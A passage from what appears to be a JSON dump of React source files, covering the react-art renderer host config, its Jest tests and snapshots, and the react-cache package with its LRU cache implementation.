Mode.Shape();\n      instance._applyProps = applyShapeProps;\n      break;\n    case TYPES.TEXT:\n      instance = Mode.Text(\n        props.children,\n        props.font,\n        props.alignment,\n        props.path,\n      );\n      instance._applyProps = applyTextProps;\n      break;\n  }\n\n  if (!instance) {\n    throw new Error(`ReactART does not support the type \"${type}\"`);\n  }\n\n  instance._applyProps(instance, props);\n\n  return instance;\n}\n\nexport function cloneMutableInstance(instance, keepChildren) {\n  return instance;\n}\n\nexport function createTextInstance(\n  text,\n  rootContainerInstance,\n  internalInstanceHandle,\n) {\n  return text;\n}\n\nexport function cloneMutableTextInstance(textInstance) {\n  return textInstance;\n}\n\nexport type FragmentInstanceType = null;\n\nexport function createFragmentInstance(fiber): null {\n  return null;\n}\n\nexport function updateFragmentInstanceFiber(fiber, instance): void {\n  // Noop\n}\n\nexport function commitNewChildToFragmentInstance(\n  child,\n  fragmentInstance,\n): void {\n  // Noop\n}\n\nexport function deleteChildFromFragmentInstance(child, fragmentInstance): void {\n  // Noop\n}\n\nexport function finalizeInitialChildren(domElement, type, props) {\n  return false;\n}\n\nexport function getPublicInstance(instance) {\n  return instance;\n}\n\nexport function prepareForCommit() {\n  // Noop\n  return null;\n}\n\nexport function resetAfterCommit() {\n  // Noop\n}\n\nexport function resetTextContent(domElement) {\n  // Noop\n}\n\nexport function getRootHostContext() {\n  return NO_CONTEXT;\n}\n\nexport function getChildHostContext() {\n  return NO_CONTEXT;\n}\n\nexport const scheduleTimeout = setTimeout;\nexport const cancelTimeout = clearTimeout;\nexport const noTimeout = -1;\n\nexport function shouldSetTextContent(type, props) {\n  return (\n    typeof props.children === 'string' || typeof props.children === 'number'\n  );\n}\n\nlet currentUpdatePriority: EventPriority = NoEventPriority;\n\nexport function setCurrentUpdatePriority(newPriority: EventPriority): void {\n  currentUpdatePriority = newPriority;\n}\n\nexport function getCurrentUpdatePriority(): EventPriority {\n  return currentUpdatePriority;\n}\n\nexport function resolveUpdatePriority(): EventPriority {\n  return currentUpdatePriority || DefaultEventPriority;\n}\n\nexport function trackSchedulerEvent(): void {}\n\nexport function resolveEventType(): null | string {\n  return null;\n}\n\nexport function resolveEventTimeStamp(): number {\n  return -1.1;\n}\n\nexport function shouldAttemptEagerTransition() {\n  return false;\n}\n\n// The ART renderer is secondary to the React DOM renderer.\nexport const isPrimaryRenderer = false;\n\n// The ART renderer shouldn't trigger missing act() warnings\nexport const warnsIfNotActing = false;\n\nexport const supportsMutation = true;\n\nexport function appendChild(parentInstance, child) {\n  if (child.parentNode === parentInstance) {\n    child.eject();\n  }\n  child.inject(parentInstance);\n}\n\nexport function appendChildToContainer(parentInstance, child) {\n  if (child.parentNode === parentInstance) {\n    child.eject();\n  }\n  child.inject(parentInstance);\n}\n\nexport function insertBefore(parentInstance, child, beforeChild) {\n  if (child === beforeChild) {\n    throw new Error('ReactART: Can not insert node before itself');\n  }\n\n  child.injectBefore(beforeChild);\n}\n\nexport function insertInContainerBefore(parentInstance, child, beforeChild) {\n  if (child === beforeChild) {\n    throw new Error('ReactART: Can not insert node before itself');\n  }\n\n  child.injectBefore(beforeChild);\n}\n\nexport function removeChild(parentInstance, child) {\n  destroyEventListeners(child);\n  child.eject();\n}\n\nexport function removeChildFromContainer(parentInstance, child) {\n  destroyEventListeners(child);\n  child.eject();\n}\n\nexport function commitTextUpdate(textInstance, oldText, newText) {\n  // Noop\n}\n\nexport function commitMount(instance, type, newProps) {\n  // Noop\n}\n\nexport function commitUpdate(instance, type, oldProps, newProps) {\n  instance._applyProps(instance, newProps, oldProps);\n}\n\nexport function hideInstance(instance) {\n  instance.hide();\n}\n\nexport function hideTextInstance(textInstance) {\n  // Noop\n}\n\nexport function unhideInstance(instance, props) {\n  if (props.visible == null || props.visible) {\n    instance.show();\n  }\n}\n\nexport function unhideTextInstance(textInstance, text): void {\n  // Noop\n}\n\nexport function applyViewTransitionName(instance, name, className) {\n  // Noop\n}\n\nexport function restoreViewTransitionName(instance, props) {\n  // Noop\n}\n\nexport function cancelViewTransitionName(instance, name, props) {\n  // Noop\n}\n\nexport function cancelRootViewTransitionName(rootContainer) {\n  // Noop\n}\n\nexport function restoreRootViewTransitionName(rootContainer) {\n  // Noop\n}\n\nexport function cloneRootViewTransitionContainer(rootContainer) {\n  throw new Error('Not implemented.');\n}\n\nexport function removeRootViewTransitionClone(rootContainer, clone) {\n  throw new Error('Not implemented.');\n}\n\nexport type InstanceMeasurement = null;\n\nexport function measureInstance(instance) {\n  return null;\n}\n\nexport function measureClonedInstance(instance) {\n  return null;\n}\n\nexport function wasInstanceInViewport(measurement): boolean {\n  return true;\n}\n\nexport function hasInstanceChanged(oldMeasurement, newMeasurement): boolean {\n  return false;\n}\n\nexport function hasInstanceAffectedParent(\n  oldMeasurement,\n  newMeasurement,\n): boolean {\n  return false;\n}\n\nexport function startViewTransition() {\n  return null;\n}\n\nexport type RunningViewTransition = null;\n\nexport function startGestureTransition() {\n  return null;\n}\n\nexport function stopViewTransition(transition: RunningViewTransition) {}\n\nexport function addViewTransitionFinishedListener(\n  transition: RunningViewTransition,\n  callback: () => void,\n) {\n  callback();\n}\n\nexport type ViewTransitionInstance = null | {name: string, ...};\n\nexport function createViewTransitionInstance(\n  name: string,\n): ViewTransitionInstance {\n  return null;\n}\n\nexport type GestureTimeline = null;\n\nexport function getCurrentGestureOffset(provider: GestureTimeline): number {\n  throw new Error('startGestureTransition is not yet supported in react-art.');\n}\n\nexport function clearContainer(container) {\n  // TODO Implement this\n}\n\nexport function getInstanceFromNode(node): null {\n  return null;\n}\n\nexport function beforeActiveInstanceBlur(internalInstanceHandle: Object) {\n  // noop\n}\n\nexport function afterActiveInstanceBlur() {\n  // noop\n}\n\nexport function preparePortalMount(portalInstance: any): void {\n  // noop\n}\n\n// eslint-disable-next-line no-undef\nexport function detachDeletedInstance(node: Instance): void {\n  // noop\n}\n\nexport function requestPostPaintCallback(callback: (time: number) => void) {\n  // noop\n}\n\nexport function maySuspendCommit(type, props) {\n  return false;\n}\n\nexport function maySuspendCommitOnUpdate(type, oldProps, newProps) {\n  return false;\n}\n\nexport function maySuspendCommitInSyncRender(type, props) {\n  return false;\n}\n\nexport function preloadInstance(type, props) {\n  // Return true to indicate it's already loaded\n  return true;\n}\n\nexport function startSuspendingCommit() {\n  return null;\n}\n\nexport function suspendInstance(state, instance, type, props) {}\n\nexport function suspendOnActiveViewTransition(state, container) {}\n\nexport function waitForCommitToBeReady(timeoutOffset) {\n  return null;\n}\n\nexport function getSuspendedCommitReason(state, rootContainer) {\n  return null;\n}\n\nexport const NotPendingTransition = null;\nexport const HostTransitionContext: ReactContext<TransitionStatus> = {\n  $$typeof: REACT_CONTEXT_TYPE,\n  Provider: (null: any),\n  Consumer: (null: any),\n  _currentValue: NotPendingTransition,\n  _currentValue2: NotPendingTransition,\n  _threadCount: 0,\n};\nexport function resetFormInstance() {}\n"
  },
  {
    "path": "packages/react-art/src/__tests__/ReactART-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n/*jslint evil: true */\n\n'use strict';\n\nconst React = require('react');\nconst Scheduler = require('scheduler');\n\nimport * as ReactART from 'react-art';\nimport ARTSVGMode from 'art/modes/svg';\nimport ARTCurrentMode from 'art/modes/current';\n// Since these are default exports, we need to import them using ESM.\n// Since they must be on top, we need to import this before ReactDOM.\nimport Circle from 'react-art/Circle';\nimport Rectangle from 'react-art/Rectangle';\nimport Wedge from 'react-art/Wedge';\n\nconst {act} = require('internal-test-utils');\n\n// Isolate DOM renderer.\njest.resetModules();\n// share isomorphic\njest.mock('scheduler', () => Scheduler);\njest.mock('react', () => React);\nconst ReactDOMClient = require('react-dom/client');\n\nlet Group;\nlet Shape;\nlet Surface;\nlet TestComponent;\n\nlet groupRef;\n\nconst Missing = {};\n\nfunction testDOMNodeStructure(domNode, expectedStructure) {\n  expect(domNode).toBeDefined();\n  expect(domNode.nodeName).toBe(expectedStructure.nodeName);\n  for (const prop in expectedStructure) {\n    if (!expectedStructure.hasOwnProperty(prop)) {\n      continue;\n    }\n    if (prop !== 'nodeName' && prop !== 'children') {\n      if (expectedStructure[prop] === Missing) {\n        expect(domNode.hasAttribute(prop)).toBe(false);\n      } else {\n        expect(domNode.getAttribute(prop)).toBe(expectedStructure[prop]);\n      }\n    }\n  }\n  if (expectedStructure.children) {\n    expectedStructure.children.forEach(function (subTree, index) {\n      testDOMNodeStructure(domNode.childNodes[index], subTree);\n    });\n  }\n}\n\ndescribe('ReactART', () => {\n  let container;\n\n  beforeEach(() => {\n    jest.resetModules();\n    // share isomorphic\n    jest.mock('scheduler', () => Scheduler);\n    jest.mock('react', () => React);\n\n    container = document.createElement('div');\n    document.body.appendChild(container);\n\n    ARTCurrentMode.setCurrent(ARTSVGMode);\n\n    Group = ReactART.Group;\n    Shape = ReactART.Shape;\n    Surface = ReactART.Surface;\n\n    groupRef = React.createRef();\n    TestComponent = class extends React.Component {\n      group = groupRef;\n\n      render() {\n        const a = (\n          <Shape\n            d=\"M0,0l50,0l0,50l-50,0z\"\n            fill={new ReactART.LinearGradient(['black', 'white'])}\n            key=\"a\"\n            width={50}\n            height={50}\n            x={50}\n            y={50}\n            opacity={0.1}\n          />\n        );\n\n        const b = (\n          <Shape\n            fill=\"#3C5A99\"\n            key=\"b\"\n            scale={0.5}\n            x={50}\n            y={50}\n            title=\"This is an F\"\n            cursor=\"pointer\">\n            M64.564,38.583H54l0.008-5.834c0-3.035,0.293-4.666,4.657-4.666\n            h5.833V16.429h-9.33c-11.213,0-15.159,5.654-15.159,15.16v6.994\n            h-6.99v11.652h6.99v33.815H54V50.235h9.331L64.564,38.583z\n          </Shape>\n        );\n\n        const c = <Group key=\"c\" />;\n\n        return (\n          <Surface width={150} height={200}>\n            <Group ref={this.group}>\n              {this.props.flipped ? [b, a, c] : [a, b, c]}\n            </Group>\n          </Surface>\n        );\n      }\n    };\n  });\n\n  afterEach(() => {\n    document.body.removeChild(container);\n    container = null;\n  });\n\n  it('should have the correct lifecycle state', async () => {\n    const instance = <TestComponent />;\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(instance);\n    });\n    const group = groupRef.current;\n    // Duck type test for an ART group\n    expect(typeof group.indicate).toBe('function');\n  });\n\n  it('should render a reasonable SVG structure in SVG mode', async () => {\n    const instance = <TestComponent />;\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(instance);\n    });\n\n    const expectedStructure = {\n      nodeName: 'svg',\n      width: '150',\n      height: '200',\n      children: [\n        {nodeName: 'defs'},\n        {\n          nodeName: 'g',\n          children: [\n            {\n              nodeName: 'defs',\n              children: [{nodeName: 'linearGradient'}],\n            },\n            {nodeName: 'path'},\n            {nodeName: 'path'},\n            {nodeName: 'g'},\n          ],\n        },\n      ],\n    };\n\n    const realNode = container.firstChild;\n    testDOMNodeStructure(realNode, expectedStructure);\n  });\n\n  it('should be able to reorder components', async () => {\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<TestComponent flipped={false} />);\n    });\n\n    const expectedStructure = {\n      nodeName: 'svg',\n      children: [\n        {nodeName: 'defs'},\n        {\n          nodeName: 'g',\n          children: [\n            {nodeName: 'defs'},\n            {nodeName: 'path', opacity: '0.1'},\n            {nodeName: 'path', opacity: Missing},\n            {nodeName: 'g'},\n          ],\n        },\n      ],\n    };\n\n    const realNode = container.firstChild;\n    testDOMNodeStructure(realNode, expectedStructure);\n\n    await act(() => {\n      root.render(<TestComponent flipped={true} />);\n    });\n\n    const expectedNewStructure = {\n      nodeName: 'svg',\n      children: [\n        {nodeName: 'defs'},\n        {\n          nodeName: 'g',\n          children: [\n            {nodeName: 'defs'},\n            {nodeName: 'path', opacity: Missing},\n            {nodeName: 'path', opacity: '0.1'},\n            {nodeName: 'g'},\n          ],\n        },\n      ],\n    };\n\n    testDOMNodeStructure(realNode, expectedNewStructure);\n  });\n\n  it('should be able to reorder many components', async () => {\n    class Component extends React.Component {\n      render() {\n        const chars = this.props.chars.split('');\n        return (\n          <Surface>\n            {chars.map(text => (\n              <Shape key={text} title={text} />\n            ))}\n          </Surface>\n        );\n      }\n    }\n\n    // Mini multi-child stress test: lots of reorders, some adds, some removes.\n    const before = 'abcdefghijklmnopqrst';\n    const after = 'mxhpgwfralkeoivcstzy';\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Component chars={before} />);\n    });\n    const realNode = container.firstChild;\n    expect(realNode.textContent).toBe(before);\n\n    await act(() => {\n      root.render(<Component chars={after} />);\n    });\n    expect(realNode.textContent).toBe(after);\n  });\n\n  it('renders composite with lifecycle inside group', async () => {\n    let mounted = false;\n\n    class CustomShape extends React.Component {\n      render() {\n        return <Shape />;\n      }\n\n      componentDidMount() {\n        mounted = true;\n      }\n    }\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <Surface>\n          <Group>\n            <CustomShape />\n          </Group>\n        </Surface>,\n      );\n    });\n    expect(mounted).toBe(true);\n  });\n\n  it('resolves refs before componentDidMount', async () => {\n    class CustomShape extends React.Component {\n      render() {\n        return <Shape />;\n      }\n    }\n\n    let ref = null;\n\n    class Outer extends React.Component {\n      test = React.createRef();\n\n      componentDidMount() {\n        ref = this.test.current;\n      }\n\n      render() {\n        return (\n          <Surface>\n            <Group>\n              <CustomShape ref={this.test} />\n            </Group>\n          </Surface>\n        );\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Outer />);\n    });\n    expect(ref.constructor).toBe(CustomShape);\n  });\n\n  it('resolves refs before componentDidUpdate', async () => {\n    class CustomShape extends React.Component {\n      render() {\n        return <Shape />;\n      }\n    }\n\n    let ref = {};\n\n    class Outer extends React.Component {\n      test = React.createRef();\n\n      componentDidMount() {\n        ref = this.test.current;\n      }\n\n      componentDidUpdate() {\n        ref = this.test.current;\n      }\n\n      render() {\n        return (\n          <Surface>\n            <Group>\n              {this.props.mountCustomShape && <CustomShape ref={this.test} />}\n            </Group>\n          </Surface>\n        );\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Outer />);\n    });\n    expect(ref).toBe(null);\n\n    await act(() => {\n      root.render(<Outer mountCustomShape={true} />);\n    });\n    expect(ref.constructor).toBe(CustomShape);\n  });\n\n  it('adds and updates event handlers', async () => {\n    const root = ReactDOMClient.createRoot(container);\n\n    async function render(onClick) {\n      await act(() => {\n        root.render(\n          <Surface>\n            <Shape onClick={onClick} />\n          </Surface>,\n        );\n      });\n    }\n\n    function doClick(instance) {\n      const path = container.firstChild.querySelector('path');\n\n      path.dispatchEvent(\n        new MouseEvent('click', {\n          bubbles: true,\n        }),\n      );\n    }\n\n    const onClick1 = jest.fn();\n    let instance = await render(onClick1);\n    doClick(instance);\n    expect(onClick1).toBeCalled();\n\n    const onClick2 = jest.fn();\n    instance = await render(onClick2);\n    doClick(instance);\n    expect(onClick2).toBeCalled();\n  });\n});\n\ndescribe('ReactARTComponents', () => {\n  let ReactTestRenderer;\n  beforeEach(() => {\n    jest.resetModules();\n    // share isomorphic\n    jest.mock('scheduler', () => Scheduler);\n    jest.mock('react', () => React);\n    // Isolate test renderer.\n    ReactTestRenderer = require('react-test-renderer');\n  });\n\n  it('should generate a <Shape> with props for drawing the Circle', async () => {\n    let circle;\n    await act(() => {\n      circle = ReactTestRenderer.create(\n        <Circle radius={10} stroke=\"green\" strokeWidth={3} fill=\"blue\" />,\n        {unstable_isConcurrent: true},\n      );\n    });\n    expect(circle.toJSON()).toMatchSnapshot();\n  });\n\n  it('should generate a <Shape> with props for drawing the Rectangle', async () => {\n    let rectangle;\n    await act(() => {\n      rectangle = ReactTestRenderer.create(\n        <Rectangle width={50} height={50} stroke=\"green\" fill=\"blue\" />,\n        {unstable_isConcurrent: true},\n      );\n    });\n    expect(rectangle.toJSON()).toMatchSnapshot();\n  });\n\n  it('should generate a <Shape> with positive width when width prop is negative', async () => {\n    let rectangle;\n    await act(() => {\n      rectangle = ReactTestRenderer.create(\n        <Rectangle width={-50} height={50} />,\n        {unstable_isConcurrent: true},\n      );\n    });\n    expect(rectangle.toJSON()).toMatchSnapshot();\n  });\n\n  it('should generate a <Shape> with positive height when height prop is negative', async () => {\n    let rectangle;\n    await act(() => {\n      rectangle = ReactTestRenderer.create(\n        <Rectangle height={-50} width={50} />,\n        {unstable_isConcurrent: true},\n      );\n    });\n    expect(rectangle.toJSON()).toMatchSnapshot();\n  });\n\n  it('should generate a <Shape> with a radius property of 0 when top left radius prop is negative', async () => {\n    let rectangle;\n    await act(() => {\n      rectangle = ReactTestRenderer.create(\n        <Rectangle radiusTopLeft={-25} width={50} height={50} />,\n        {unstable_isConcurrent: true},\n      );\n    });\n    expect(rectangle.toJSON()).toMatchSnapshot();\n  });\n\n  it('should generate a <Shape> with a radius property of 0 when top right radius prop is negative', async () => {\n    let rectangle;\n    await act(() => {\n      rectangle = ReactTestRenderer.create(\n        <Rectangle radiusTopRight={-25} width={50} height={50} />,\n        {unstable_isConcurrent: true},\n      );\n    });\n    expect(rectangle.toJSON()).toMatchSnapshot();\n  });\n\n  it('should generate a <Shape> with a radius property of 0 when bottom right radius prop is negative', async () => {\n    let rectangle;\n    await act(() => {\n      rectangle = ReactTestRenderer.create(\n        <Rectangle radiusBottomRight={-30} width={50} height={50} />,\n        {unstable_isConcurrent: true},\n      );\n    });\n    expect(rectangle.toJSON()).toMatchSnapshot();\n  });\n\n  it('should generate a <Shape> with a radius property of 0 when bottom left radius prop is negative', async () => {\n    let rectangle;\n    await act(() => {\n      rectangle = ReactTestRenderer.create(\n        <Rectangle radiusBottomLeft={-25} width={50} height={50} />,\n        {unstable_isConcurrent: true},\n      );\n    });\n    expect(rectangle.toJSON()).toMatchSnapshot();\n  });\n\n  it('should generate a <Shape> where top radius is 0 if the sum of the top radius is greater than width', async () => {\n    let rectangle;\n    await act(() => {\n      rectangle = ReactTestRenderer.create(\n        <Rectangle\n          radiusTopRight={25}\n          radiusTopLeft={26}\n          width={50}\n          height={40}\n        />,\n        {unstable_isConcurrent: true},\n      );\n    });\n    expect(rectangle.toJSON()).toMatchSnapshot();\n  });\n\n  it('should generate a <Shape> with props for drawing the Wedge', async () => {\n    let wedge;\n    await act(() => {\n      wedge = ReactTestRenderer.create(\n        <Wedge outerRadius={50} startAngle={0} endAngle={360} fill=\"blue\" />,\n        {unstable_isConcurrent: true},\n      );\n    });\n    expect(wedge.toJSON()).toMatchSnapshot();\n  });\n\n  it('should return null if startAngle equals to endAngle on Wedge', async () => {\n    let wedge;\n    await act(() => {\n      wedge = ReactTestRenderer.create(\n        <Wedge outerRadius={50} startAngle={0} endAngle={0} fill=\"blue\" />,\n        {unstable_isConcurrent: true},\n      );\n    });\n    expect(wedge.toJSON()).toBeNull();\n  });\n});\n"
  },
  {
    "path": "packages/react-art/src/__tests__/__snapshots__/ReactART-test.js.snap",
    "content": "// Jest Snapshot v1, https://goo.gl/fbAQLP\n\nexports[`ReactARTComponents should generate a <Shape> where top radius is 0 if the sum of the top radius is greater than width 1`] = `\n<Shape\n  d={\n    {\n      \"_pivotX\": 0,\n      \"_pivotY\": 0,\n      \"path\": [\n        [Function],\n        [Function],\n        [Function],\n        [Function],\n        [Function],\n      ],\n      \"penDownX\": 0,\n      \"penDownY\": 0,\n      \"penX\": 0,\n      \"penY\": 0,\n    }\n  }\n  height={40}\n  radiusTopLeft={26}\n  radiusTopRight={25}\n  width={50}\n/>\n`;\nexports[`ReactARTComponents should generate a <Shape> with a radius property of 0 when bottom left radius prop is negative 1`] = `\n<Shape\n  d={\n    {\n      \"_pivotX\": 0,\n      \"_pivotY\": 0,\n      \"path\": [\n        [Function],\n        [Function],\n        [Function],\n        [Function],\n        [Function],\n      ],\n      \"penDownX\": 0,\n      \"penDownY\": 0,\n      \"penX\": 0,\n      \"penY\": 0,\n    }\n  }\n  height={50}\n  radiusBottomLeft={-25}\n  width={50}\n/>\n`;\nexports[`ReactARTComponents should generate a <Shape> with a radius property of 0 when bottom right radius prop is negative 1`] = `\n<Shape\n  d={\n    {\n      \"_pivotX\": 0,\n      \"_pivotY\": 0,\n      \"path\": [\n        [Function],\n        [Function],\n        [Function],\n        [Function],\n        [Function],\n      ],\n      \"penDownX\": 0,\n      \"penDownY\": 0,\n      \"penX\": 0,\n      \"penY\": 0,\n    }\n  }\n  height={50}\n  radiusBottomRight={-30}\n  width={50}\n/>\n`;\nexports[`ReactARTComponents should generate a <Shape> with a radius property of 0 when top left radius prop is negative 1`] = `\n<Shape\n  d={\n    {\n      \"_pivotX\": 0,\n      \"_pivotY\": 0,\n      \"path\": [\n        [Function],\n        [Function],\n        [Function],\n        [Function],\n        [Function],\n      ],\n      \"penDownX\": 0,\n      \"penDownY\": 0,\n      \"penX\": 0,\n      \"penY\": 0,\n    }\n  }\n  height={50}\n  radiusTopLeft={-25}\n  width={50}\n/>\n`;\nexports[`ReactARTComponents should generate a <Shape> with a radius property of 0 when top right radius prop is negative 1`] = `\n<Shape\n  d={\n    {\n      \"_pivotX\": 0,\n      \"_pivotY\": 0,\n      \"path\": [\n        [Function],\n        [Function],\n        [Function],\n        [Function],\n        [Function],\n      ],\n      \"penDownX\": 0,\n      \"penDownY\": 0,\n      \"penX\": 0,\n      \"penY\": 0,\n    }\n  }\n  height={50}\n  radiusTopRight={-25}\n  width={50}\n/>\n`;\nexports[`ReactARTComponents should generate a <Shape> with positive height when height prop is negative 1`] = `\n<Shape\n  d={\n    {\n      \"_pivotX\": 0,\n      \"_pivotY\": -50,\n      \"path\": [\n        [Function],\n        [Function],\n        [Function],\n        [Function],\n        [Function],\n        [Function],\n      ],\n      \"penDownX\": 0,\n      \"penDownY\": -50,\n      \"penX\": 0,\n      \"penY\": -50,\n    }\n  }\n  height={-50}\n  width={50}\n/>\n`;\nexports[`ReactARTComponents should generate a <Shape> with positive width when width prop is negative 1`] = `\n<Shape\n  d={\n    {\n      \"_pivotX\": -50,\n      \"_pivotY\": 0,\n      \"path\": [\n        [Function],\n        [Function],\n        [Function],\n        [Function],\n        [Function],\n        [Function],\n      ],\n      \"penDownX\": -50,\n      \"penDownY\": 0,\n      \"penX\": -50,\n      \"penY\": 0,\n    }\n  }\n  height={50}\n  width={-50}\n/>\n`;\nexports[`ReactARTComponents should generate a <Shape> with props for drawing the Circle 1`] = `\n<Shape\n  d={\n    {\n      \"_pivotX\": 0,\n      \"_pivotY\": -10,\n      \"path\": [\n        [Function],\n        [Function],\n        [Function],\n        [Function],\n      ],\n      \"penDownX\": null,\n      \"penDownY\": -10,\n      \"penX\": 0,\n      \"penY\": -10,\n    }\n  }\n  fill=\"blue\"\n  radius={10}\n  stroke=\"green\"\n  strokeWidth={3}\n/>\n`;\n\nexports[`ReactARTComponents should generate a <Shape> with props for drawing the Rectangle 1`] = `\n<Shape\n  d={\n    {\n      \"_pivotX\": 0,\n      \"_pivotY\": 0,\n      \"path\": [\n        [Function],\n        [Function],\n        [Function],\n        [Function],\n        [Function],\n      ],\n      \"penDownX\": 0,\n      \"penDownY\": 0,\n      \"penX\": 0,\n      \"penY\": 0,\n    }\n  }\n  fill=\"blue\"\n  height={50}\n  stroke=\"green\"\n  width={50}\n/>\n`;\n\nexports[`ReactARTComponents should generate a <Shape> with props for drawing the Wedge 1`] = `\n<Shape\n  d={\n    {\n      \"_pivotX\": 0,\n      \"_pivotY\": 50,\n      \"path\": [\n        [Function],\n        [Function],\n        [Function],\n        [Function],\n      ],\n      \"penDownX\": null,\n      \"penDownY\": 50,\n      \"penX\": 0,\n      \"penY\": 50,\n    }\n  }\n  endAngle={360}\n  fill=\"blue\"\n  outerRadius={50}\n  startAngle={0}\n/>\n`;\n"
  },
  {
    "path": "packages/react-cache/README.md",
    "content": "# react-cache\n\nA basic cache for React applications. It also serves as a reference for more\nadvanced caching implementations.\n\nThis package is meant to be used alongside yet-to-be-released, experimental\nReact features. It's unlikely to be useful in any other context.\n\n**Do not use in a real application.** We're publishing this early for\ndemonstration purposes.\n\n**Use it at your own risk.**\n\n# No, Really, It Is Unstable\n\nThe API ~~may~~ will change wildly between versions.\n"
  },
  {
    "path": "packages/react-cache/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n'use strict';\n\nexport * from './src/ReactCacheOld';\n"
  },
  {
    "path": "packages/react-cache/npm/index.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-cache.production.js');\n} else {\n  module.exports = require('./cjs/react-cache.development.js');\n}\n"
  },
  {
    "path": "packages/react-cache/package.json",
    "content": "{\n  \"private\": true,\n  \"name\": \"react-cache\",\n  \"description\": \"A basic cache for React applications\",\n  \"version\": \"2.0.0-alpha.0\",\n  \"repository\": {\n    \"type\" : \"git\",\n    \"url\" : \"https://github.com/facebook/react.git\",\n    \"directory\": \"packages/react-cache\"\n  },\n  \"files\": [\n    \"LICENSE\",\n    \"README.md\",\n    \"index.js\",\n    \"cjs/\"\n  ],\n  \"peerDependencies\": {\n    \"react\": \"^17.0.0\"\n  }\n}\n"
  },
  {
    "path": "packages/react-cache/src/LRU.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as Scheduler from 'scheduler';\n\n// Intentionally not named imports because Rollup would\n// use dynamic dispatch for CommonJS interop named imports.\nconst {\n  unstable_scheduleCallback: scheduleCallback,\n  unstable_IdlePriority: IdlePriority,\n} = Scheduler;\n\ntype Entry<T> = {\n  value: T,\n  onDelete: () => mixed,\n  previous: Entry<T>,\n  next: Entry<T>,\n};\n\ntype LRU<T> = {\n  add(value: Object, onDelete: () => mixed): Entry<Object>,\n  update(entry: Entry<T>, newValue: T): void,\n  access(entry: Entry<T>): T,\n  setLimit(newLimit: number): void,\n};\n\nexport function createLRU<T>(limit: number): LRU<T> {\n  let LIMIT = limit;\n\n  // Circular, doubly-linked list\n  let first: Entry<T> | null = null;\n  let size: number = 0;\n\n  let cleanUpIsScheduled: boolean = false;\n\n  function scheduleCleanUp() {\n    if (cleanUpIsScheduled === false && size > LIMIT) {\n      // The cache size exceeds the limit. Schedule a callback to delete the\n      // least recently used entries.\n      cleanUpIsScheduled = true;\n      scheduleCallback(IdlePriority, cleanUp);\n    }\n  }\n\n  function cleanUp() {\n    cleanUpIsScheduled = false;\n    deleteLeastRecentlyUsedEntries(LIMIT);\n  }\n\n  function deleteLeastRecentlyUsedEntries(targetSize: number) {\n    // Delete entries from the cache, starting from the end of the list.\n    if (first !== null) {\n      const resolvedFirst: Entry<T> = (first: any);\n      let last: null | Entry<T> = resolvedFirst.previous;\n      while (size > targetSize && last !== null) {\n        const onDelete = last.onDelete;\n        const previous = last.previous;\n        last.onDelete = (null: any);\n\n        // Remove from the list\n        last.previous = last.next = (null: any);\n        if (last === first) {\n          // Reached the head of the list.\n          first = last = null;\n        } else {\n          (first: any).previous = previous;\n          previous.next = (first: any);\n          last = previous;\n        }\n\n        size -= 1;\n\n        // Call the destroy method after removing the entry from the list. If it\n        // throws, the rest of cache will not be deleted, but it will be in a\n        // valid state.\n        onDelete();\n      }\n    }\n  }\n\n  function add(value: Object, onDelete: () => mixed): Entry<Object> {\n    const entry = {\n      value,\n      onDelete,\n      next: (null: any),\n      previous: (null: any),\n    };\n    if (first === null) {\n      entry.previous = entry.next = entry;\n      first = entry;\n    } else {\n      // Append to head\n      const last = first.previous;\n      last.next = entry;\n      entry.previous = last;\n\n      first.previous = entry;\n      entry.next = first;\n\n      first = entry;\n    }\n    size += 1;\n    return entry;\n  }\n\n  function update(entry: Entry<T>, newValue: T): void {\n    entry.value = newValue;\n  }\n\n  function access(entry: Entry<T>): T {\n    const next = entry.next;\n    if (next !== null) {\n      // Entry already cached\n      const resolvedFirst: Entry<T> = (first: any);\n      if (first !== entry) {\n        // Remove from current position\n        const previous = entry.previous;\n        previous.next = next;\n        next.previous = previous;\n\n        // Append to head\n        const last = resolvedFirst.previous;\n        last.next = entry;\n        entry.previous = last;\n\n        resolvedFirst.previous = entry;\n        entry.next = resolvedFirst;\n\n        first = entry;\n      }\n    } else {\n      // Cannot access a deleted entry\n      // TODO: Error? Warning?\n    }\n    scheduleCleanUp();\n    return entry.value;\n  }\n\n  function setLimit(newLimit: number): void {\n    LIMIT = newLimit;\n    scheduleCleanUp();\n  }\n\n  return {\n    add,\n    update,\n    access,\n    setLimit,\n  };\n}\n"
  },
  {
    "path": "packages/react-cache/src/ReactCacheOld.js",
